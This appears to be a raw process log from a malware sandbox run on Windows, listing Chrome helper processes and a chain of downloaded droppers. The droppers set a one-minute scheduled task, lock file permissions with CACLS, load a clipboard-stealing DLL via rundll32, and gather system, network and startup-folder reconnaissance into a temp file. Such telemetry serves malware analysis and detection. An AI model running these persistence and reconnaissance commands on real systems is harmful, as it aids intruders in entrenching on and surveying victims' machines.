"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5052 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5028 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1148 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5260 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5316 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5180 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5036 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4768 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2876 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5348 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\NmI5NGQx.exe

"C:\Users\Admin\Downloads\NmI5NGQx.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x1386670.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x1386670.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\x2563617.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\x2563617.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\f8338132.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\f8338132.exe

C:\Users\Admin\Downloads\Y2Q0MzM1.exe

"C:\Users\Admin\Downloads\Y2Q0MzM1.exe"

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\x3618941.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\x3618941.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\x4612096.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\x4612096.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5428 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5440 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5512 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5244 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe

C:\Users\Admin\Downloads\NGVkZTM3.exe

"C:\Users\Admin\Downloads\NGVkZTM3.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5576 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4732 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Downloads\NGVkZTM3.docx" /o ""

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

"C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe"

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\c3912af058" /P "Admin:N"&&CACLS "..\c3912af058" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "oneetx.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "oneetx.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cacls.exe

CACLS "..\c3912af058" /P "Admin:N"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\c3912af058" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\1000035051\foto148.exe

"C:\Users\Admin\AppData\Local\Temp\1000035051\foto148.exe"

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe

C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe

C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe

C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe

"C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe"

C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\y2170022.exe

C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\y2170022.exe

C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\y5542834.exe

C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\y5542834.exe

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\k8989832.exe

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\k8989832.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5408 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\g3279811.exe

C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\g3279811.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\h0291068.exe

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\h0291068.exe

C:\Users\Admin\AppData\Local\Temp\a9e2a16078\metado.exe

"C:\Users\Admin\AppData\Local\Temp\a9e2a16078\metado.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5032 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2760 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\i3215308.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\i3215308.exe

C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\m9543478.exe

C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\m9543478.exe

C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\n6343764.exe

C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\n6343764.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5756 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5268 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5752 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5660 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5708 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5712 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3888 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\ZTQ3MDM2.exe

"C:\Users\Admin\Downloads\ZTQ3MDM2.exe"

C:\Users\Admin\Downloads\YzlhMGI2.exe

"C:\Users\Admin\Downloads\YzlhMGI2.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2240 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4896 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5652 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4480 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2812 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\SysWOW64\Explorer.exe

Explorer.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5736 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5436 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5648 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5820 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5640 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

C:\Users\Admin\Downloads\NGVkZTM3 (1).exe

"C:\Users\Admin\Downloads\NGVkZTM3 (1).exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5836 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5432 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5912 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5348 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe

"C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5396 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5816 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe

"C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir %appdata%/*.bat>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir C:\Users\Admin\AppData\Roaming/*.bat

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5696 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6128 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe tasklist>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe tasklist

C:\Windows\system32\tasklist.exe

"C:\Windows\system32\tasklist.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir "%appdata%/Microsoft/Windows/Start Menu/Programs/Startup">>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir "C:\Users\Admin\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup"

C:\Users\Admin\Downloads\ODU0ZjFk.exe

"C:\Users\Admin\Downloads\ODU0ZjFk.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir "%allusersprofile%/Microsoft/Windows/StartMenu/Programs/Startup">>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir "C:\ProgramData/Microsoft/Windows/StartMenu/Programs/Startup"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe systeminfo>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe systeminfo

C:\Windows\system32\systeminfo.exe

"C:\Windows\system32\systeminfo.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe route print>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe route print

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6000 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5996 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\ROUTE.EXE

"C:\Windows\system32\ROUTE.EXE" print

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ipconfig /all>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ipconfig /all

C:\Windows\system32\ipconfig.exe

"C:\Windows\system32\ipconfig.exe" /all

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe arp -a>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe arp -a

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6056 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6052 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\ARP.EXE

"C:\Windows\system32\ARP.EXE" -a

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir %appdata%/Microsoft/Windows/Recent>>%temp%/out.txt"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe dir C:\Users\Admin\AppData\Roaming/Microsoft/Windows/Recent

C:\Users\Admin\Downloads\NWQ4NTA4.exe

"C:\Users\Admin\Downloads\NWQ4NTA4.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe wmic startup >> %temp%/out.txt"

